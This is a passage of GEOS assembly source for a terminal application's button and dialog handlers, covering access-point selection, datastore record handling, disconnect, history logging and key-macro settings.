point. get_selection_term_connect_button_hit: mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, mask MF_CALL ; block until result is processed call ObjMessage if ERROR_CHECK cmp ax, GIGS_NONE jnz continue_term_connect_button_hit ERROR ERROR_NO_SELECTIONS_TERM_CONNECT_BUTTON_HIT continue_term_connect_button_hit: endif ; ERROR_CHECK mov cx, ax ; set up parameters for call to initialize record ; buffers. ; NOTE: es = dgroup segment call SetCurrIAPLSelection ; update the dialog fields call UpdateConnectionDialog call ActivateConnectionConfirm mov ax, es:[IAPLDsToken] ; call DataStoreGetRecordCount ; cmp ax, 0 ; jz exit_term_connect_button_hit ; if no records, then ; nothing in buffer mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record EC < ERROR_C ERROR_DS_DISCARD_RECORD_CONNECT_BUTTON_HIT > exit_term_connect_button_hit: .leave ret TermConnectButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TermSettingsButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: same as connectbuttonhit, but brings up settings box. CALLED BY: MSG_TERM_SETTING_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: If an access point is currently selected, this calls the routine to bring up and initialize the Connection Confirm (3.2 in spec) dialog. If an access point is not selected, this calls up the Network Selection (3.4) dialog box initialization routine. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 10/1/96 initial %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TermSettingsButtonHit method dynamic TermClass, MSG_TERM_SETTING_BUTTON_HIT uses ax, cx, dx, bp .enter ;call InitializeNetworkDataStore ; for now mov es:[AccPtValidFlag],INVALID ; no access point ; records open ; discard old IAPL selection mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard old AccessPoint selection mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord call OpenIAPLDataStore ; check to see if any connections exist. If not, automatically ; default to Select Network, create new record option. mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_SETTINGS_BUTTON_HIT > cmp ax, 0 jne get_selection_term_settings_button_hit ; create new IAPL record and bring up Network selection mov bx, ds:[termProcHandle] mov ax, MSG_TERM_ACTIVATE_NETWORK_SELECTION_NEW mov di, mask MF_FORCE_QUEUE call ObjMessage jmp exit_term_settings_button_hit ; check to see which selection is selected by ; ConnectionConfirmAccessPointName, load that record and its ; service, along with its first access point. get_selection_term_settings_button_hit: mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, mask MF_CALL ; block until result is processed call ObjMessage if ERROR_CHECK cmp ax, GIGS_NONE jnz continue_term_settings_button_hit ERROR ERROR_NO_SELECTIONS_TERM_CONNECT_BUTTON_HIT continue_term_settings_button_hit: endif ; ERROR_CHECK mov cx, ax ; set up parameters for call to initialize record ; buffers. ; NOTE: es = dgroup segment call SetCurrIAPLSelection ; update the dialog fields call UpdateConnectionDialog call ActivateConnectionSetting ; mov ax, es:[IAPLDsToken] ; call DataStoreGetRecordCount ;EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_SETTINGS_BUTTON_HIT > ; cmp ax, 0 ; jz exit_term_settings_button_hit ; if no records, then ; nothing in buffer mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record EC < ERROR_C ERROR_DS_DISCARD_RECORD_CONNECT_BUTTON_HIT > exit_term_settings_button_hit: .leave ret TermSettingsButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermCancelButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Flushes current IAPL and Access Point data from record buffer. Then calls up connection setting dialog. CALLED BY: MSG_TERM_CANCEL_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: removes changes to records, and reloads the previous information: IAPL record and AccessPoint record. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermCancelButtonHit method dynamic TermClass, MSG_TERM_CANCEL_BUTTON_HIT uses ax, cx, dx, bp .enter mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord jnc check_access_point_cancel_button cmp ax, DSDE_RECORD_BUFFER_EMPTY jz check_access_point_cancel_button EC < ERROR ERROR_DISCARD_RECORD_CANCEL_BUTTON_HIT > check_access_point_cancel_button: ; first check to see if access point buffer is valid, if not, skip ; over discard cmp es:[AccPtValidFlag], INVALID je continue_cancel_button_hit mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord jnc continue_cancel_button_hit cmp ax, DSDE_RECORD_BUFFER_EMPTY jz continue_cancel_button_hit EC < ERROR ERROR_DISCARD_RECORD_CANCEL_BUTTON_HIT > continue_cancel_button_hit: clr ch mov {byte} cl, es:[CurrentIAPLSelection] call SetCurrIAPLSelection call UpdateConnectionDialog call ActivateConnectionSetting mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record jnc cancel_button_hit cmp ax, DSDE_RECORD_BUFFER_EMPTY ; if no record declared yet, ; no problem with discarding ; it here (since no changes ; to speak of). je cancel_button_hit EC < ERROR ERROR_DISCARD_RECORD_CANCEL_BUTTON_HIT > ; reset key macros here cancel_button_hit: .leave ret TTermCancelButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermNetworkSettingsCancelButton %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_NETWORK_SETTINGS_CANCEL_BUTTON PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 12/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermNetworkSettingsCancelButton method dynamic TermClass, MSG_TERM_NETWORK_SETTINGS_CANCEL_BUTTON .enter mov bx, handle LoseChangesString mov bp, offset LoseChangesString call MemLock push bx, es mov di, ax mov es, ax mov bp, es:[bp] ; bring up confirmation dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL ; to bring to top call TermUserStandardDialog pop bx,es call MemUnlock cmp ax, IC_YES je continue_cancel_normally ; don't cancel changes mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage .leave ret continue_cancel_normally: mov bx, ds:[termProcHandle] mov ax, MSG_TERM_CANCEL_BUTTON_HIT mov di, mask MF_FORCE_QUEUE call ObjMessage .leave ret TTermNetworkSettingsCancelButton endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermConfirmSaveCancel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_CONFIRM_SAVE_CANCEL PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 12/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermConfirmSaveCancel method dynamic TermClass, MSG_TERM_CONFIRM_SAVE_CANCEL .enter mov bx, handle LoseChangesString mov bp, offset LoseChangesString call MemLock push bx, es mov di, ax mov es, ax mov bp, es:[bp] ; bring up confirmation dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL ; to bring to top call TermUserStandardDialog pop bx,es call MemUnlock cmp ax, IC_YES je continue_cancel_normally ; don't cancel changes mov bx, handle ConfirmSaveDataDialog mov si, offset ConfirmSaveDataDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage .leave ret continue_cancel_normally: mov bx, ds:[termProcHandle] mov ax, MSG_TERM_CANCEL_BUTTON_HIT mov di, mask MF_FORCE_QUEUE call ObjMessage .leave ret TTermConfirmSaveCancel endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermDisconnectButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: closes history file (if open), and then calls MSG_TERM_HANG_UP. CALLED BY: MSG_TERM_DISCONNECT_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/22/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermDisconnectButtonHit method dynamic TermClass, MSG_TERM_DISCONNECT_BUTTON_HIT uses ax, cx, dx, bp .enter cmp es:[LogHistoryFlag], LOG_HISTORY jne continue_disconnect ; kill history mov ax, MSG_FILE_RECV_STOP mov bx, ds:[termProcHandle] mov di, mask MF_FORCE_QUEUE call ObjMessage ; hang up continue_disconnect: mov bx, ds:[termProcHandle] mov ax, MSG_HANG_UP mov di, mask MF_FORCE_QUEUE call ObjMessage ; force input back to main screen object mov ax, MSG_GEN_MAKE_FOCUS mov bx, handle TermView mov si, offset TermView mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage .leave ret TTermDisconnectButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermConnectOkButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: runs the script to connect CALLED BY: MSG_TERM_CONNECT_OK_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ testScriptFile wchar "MYSCRIPT.MAC",0 TTermConnectOkButtonHit method dynamic TermClass, MSG_TERM_CONNECT_OK_BUTTON_HIT uses ax, cx, dx, bp .enter ; demo stuff ; Unlock, discard record buffer, and close datastore session. ; close access point datastore clr ah mov {byte} al, es:[AccPtValidFlag] cmp ax, INVALID ; if no session in memory, then skip ; ahead and discard iapl datastore ; session. jz close_iapl_session_finish_button_hit mov ax, es:[AccessPointDsToken] ; call DataStoreUnlockRecord call DataStoreClose mov es:[AccPtValidFlag], INVALID ; set to invalid close_iapl_session_finish_button_hit: ; check to see if history should be logged ; first query status of history checkbox mov bx, handle LogHistoryGroup mov si, offset LogHistoryGroup mov di, mask MF_CALL mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS call ObjMessage cmp ax, LOG_HISTORY ; see if log history or not mov es:[LogHistoryFlag], INVALID jne continue_connect_ok_button_hit mov es:[LogHistoryFlag], VALID ; ; begin log history ; mov es:[LogHistoryFlag], VALID ; mov ax, MSG_ASCII_RECV_START ; mov bx, ds:[termProcHandle] ; mov di, mask MF_FORCE_QUEUE ; call ObjMessage ; now bring up the macrofilebox continue_connect_ok_button_hit: ; mov bx, handle MacroFileBox ; mov si, offset MacroFileBox ; mov di, mask MF_CALL ; mov ax, MSG_GEN_INTERACTION_INITIATE ; call ObjMessage call NetworkRunScriptFile ; activate script ; close IAPL Datastore session mov ax, es:[IAPLDsToken] call DataStoreClose .leave ret TTermConnectOkButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermProtocolOkButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Commits terminal settings to data bytes. CALLED BY: MSG_TERM_PROTOCOL_OK_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/13/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermProtocolOkButtonHit method dynamic TermClass, MSG_TERM_PROTOCOL_OK_BUTTON_HIT uses ax, cx, dx, bp .enter call GetTerminalSettings ; commit changes to databytes only mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog mov di, mask MF_CALL call ObjMessage ; raise NetworkElement dialog .leave ret TTermProtocolOkButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermProtocolCancelButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns terminal settings to previous values or default settings. Then brings up Network Element dialog. CALLED BY: MSG_TERM_PROTOCOL_CANCEL_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/13/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermProtocolCancelButtonHit method dynamic TermClass, MSG_TERM_PROTOCOL_CANCEL_BUTTON_HIT uses ax, cx, dx, bp .enter ; call GetTerminalInfoAccPt ; restore previous settings call UpdateSetTerminal ; restore previous UI settings ; now bring up the dialog mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog clr di ; no flags call ObjMessage .leave ret TTermProtocolCancelButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermKeyMacroCancelButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: discards all changes to key macro dialog and reloads info. Returns to main screen. CALLED BY: MSG_TERM_KEY_MACRO_CANCEL_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/14/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermKeyMacroCancelButtonHit method dynamic TermClass, MSG_TERM_KEY_MACRO_CANCEL_BUTTON_HIT uses ax, cx, dx, bp .enter clc ; no point in updating menu moniekrs (not set). call UpdateKeyMacroDialog ; restore all settings .leave ret TTermKeyMacroCancelButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermKeyMacroOkButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Commits changes to key macro datastore (if any) and reupdates menus and dialogs. Returns to main screen. CALLED BY: MSG_TERM_KEY_MACRO_OK_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/14/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermKeyMacroOkButtonHit method dynamic TermClass, MSG_TERM_KEY_MACRO_OK_BUTTON_HIT uses ax, cx, dx, bp .enter call UpdateKeyMacros ; update datastores stc ; update all call UpdateKeyMacroDialog ; update dialog & menus .leave ret TTermKeyMacroOkButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermFinishButtonHit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Closes both datastore sessions CALLED BY: MSG_TERM_FINISH_BUTTON_HIT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/ 4/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermFinishButtonHit method dynamic TermClass, MSG_TERM_FINISH_BUTTON_HIT uses ax, cx, dx, bp .enter ; Unlock, discard record buffer, and close datastore session. ; close access point datastore clr ah mov {byte} al, es:[AccPtValidFlag] cmp ax, INVALID ; if no session in memory, then skip ; ahead and discard iapl datastore ; session. jz close_iapl_session_finish_button_hit mov ax, es:[AccessPointDsToken] ; call DataStoreUnlockRecord call DataStoreClose mov es:[AccPtValidFlag], INVALID ; set to invalid close_iapl_session_finish_button_hit: ; close IAPL Datastore session mov ax, es:[IAPLDsToken] call DataStoreClose .leave ret TTermFinishButtonHit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermToggleSettingChanges %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: enables/disables terminal settings CALLED BY: MSG_TERM_TOGGLE_SETTING_CHANGES PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: queries status of ChangeSettingsCheckBox via querying ChangeSettingsGroup and enables/disables terminal settings (ProtocolSettingsContent). REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermToggleSettingChanges method dynamic TermClass, MSG_TERM_TOGGLE_SETTING_CHANGES uses ax, cx, dx, bp .enter ; query for status (checked or not checked) mov bx, handle ChangeSettingsGroup mov si, offset ChangeSettingsGroup mov di, mask MF_CALL mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS call ObjMessage jc change_toggle_not_selected ; since there is only one item in this group, if anything is ; selected, it must be the check box. So enable. mov ax, MSG_GEN_SET_ENABLED jmp change_toggle_update change_toggle_not_selected: ; not selected, disable mov ax, MSG_GEN_SET_NOT_ENABLED change_toggle_update: mov dl, VUM_DELAYED_VIA_APP_QUEUE mov bx, handle ProtocolSettingsContent mov si, offset ProtocolSettingsContent mov di, mask MF_CALL call ObjMessage ; update .leave ret TTermToggleSettingChanges endm ; ---------------------------------------------------------------------- ; ; History Routines ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermHistoryToggle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Toggles flag to write history buffer to log. CALLED BY: MSG_TERM_HISTORY_TOGGLE PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: Note: history genBoolean and flag must be set to write to buffer. This also updates moniker. Right now, temporarily use strings as visMoniker for button. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/22/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ bookOpenString wchar "Open" ,0 bookClosedString wchar "Closed",0 TTermHistoryToggle method dynamic TermClass, MSG_TERM_HISTORY_TOGGLE .enter cmp es:[WriteHistoryBufferFlag], INVALID je history_toggle_set_valid history_toggle_set_invalid: mov es:[WriteHistoryBufferFlag], INVALID mov dx, offset bookClosedString jmp exit_history_toggle history_toggle_set_valid: mov es:[WriteHistoryBufferFlag], VALID mov dx, offset bookOpenString exit_history_toggle: if 0 mov cx, cs mov bx, handle HistoryToggle mov si, offset HistoryToggle mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT mov dl, VUM_DELAYED_VIA_APP_QUEUE clr di call ObjMessage endif .leave ret TTermHistoryToggle endm ; ---------------------------------------------------------------------- ; ; Dynamic List routines for lists of network services ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermUpdateIAPLNameList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates the gendynamic list that calls it by grabbing the network name from the IAPL record. CALLED BY: MSG_TERM_UPDATE_IAPL_NAME_LIST PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # cx:dx = optr of the dynamic list bp = item # requested RETURN: DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: Given the dynamic list of network services and the item # requested, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_MONIKER_TEXT is used to send the text field of the appropriate message. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/13/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermUpdateIAPLNameList method dynamic TermClass, MSG_TERM_UPDATE_IAPL_NAME_LIST ; set optr target to dynamic list mov bx, cx ; store handle to list mov si, dx ; store offset to list mov cx, segment dgroup mov es, cx call ClearStringBuffer mov cx, bp mov dl, IAPL_NAME_FIELD_ID mov di, offset StringBuffer call GetIAPLFieldAndCheckLengthList ; now point cx:dx to string entry mov cx, es mov dx, di mov di, mask MF_CALL mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT call ObjMessage exit_term_update_network_name_list: ret TTermUpdateIAPLNameList endm ; ---------------------------------------------------------------------- ; ; routines for updating and displaying dynamic ; lists of access points ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermUpdateAccessPointList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates gendynamic list calls for an access point. Note that this operates relative to the offset of the record number in AccessPointOffset. If NO_ACCESS_POINT, then no access points are available. CALLED BY: MSG_TERM_UPDATE_ACCESS_POINT_LIST PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: ax, bx, cx, dx, si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/23/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermUpdateAccessPointList method dynamic TermClass, MSG_TERM_UPDATE_ACCESS_POINT_LIST ; entries exist so find in relative to offset ; set optr target to dynamic list mov bx, cx ; store handle to list mov si, dx ; store offset to list mov cx, segment dgroup mov es, cx call ClearStringBuffer mov cx, bp mov dx, ACCESS_POINT_LIST_ACCESS_POINT_FIELD_ID mov di, offset StringBuffer call GetAccessFieldAndCheckLengthList ; now point cx:dx to string entry mov cx, es mov dx, di mov di, mask MF_CALL mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT call ObjMessage exit_term_update_access_point_list: ret TTermUpdateAccessPointList endm ;--------------------------------------------------------------------------- ; ; Activation routines for dialogs ; ; SYPNOSIS: Many of the dialogs require special information to be displayed ; depending on the state, so routines for activating these dialogs and ; initializing their ui's to fit the state information are placed here. ; ;--------------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ActivateConnectionConfirm %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets up appropriate children triggers and brings up connection confirm dialog. CALLED BY: TTermActivateConnectionConfirm PASS: none RETURN: none DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: checks to see if proper children are attached. If not, then detaches the other set of children and reattaches proper set. Note that this is working off the assumption that a set of children is always attached. This also sets the message text on the bottom of the dialog to be active. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/21/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ActivateConnectionConfirm proc near uses ax, bx, cx, dx, si, di, bp .enter ; First check to see if the right set of triggers are on the tree. mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionConfirmTriggers mov dx, offset ConnectionConfirmTriggers mov ax, MSG_GEN_FIND_CHILD mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage jnc connection_confirm_call_dialog ; proper children already ; attached, so just jump ; ahead and instantiate ; dialog ; remove previous children ; First set them unusable mov bx, handle ConnectionSettingTriggers mov si, offset ConnectionSettingTriggers mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage ; now decapi-err detach them mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionSettingTriggers mov dx, offset ConnectionSettingTriggers mov bp, mask CCF_MARK_DIRTY ; must save to state mov ax, MSG_GEN_REMOVE_CHILD mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage connection_confirm_attach_triggers: ; set up the children mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionConfirmTriggers mov dx, offset ConnectionConfirmTriggers clr bp ; no frills mov ax, MSG_GEN_ADD_CHILD mov di, mask MF_CALL ; block so events occur 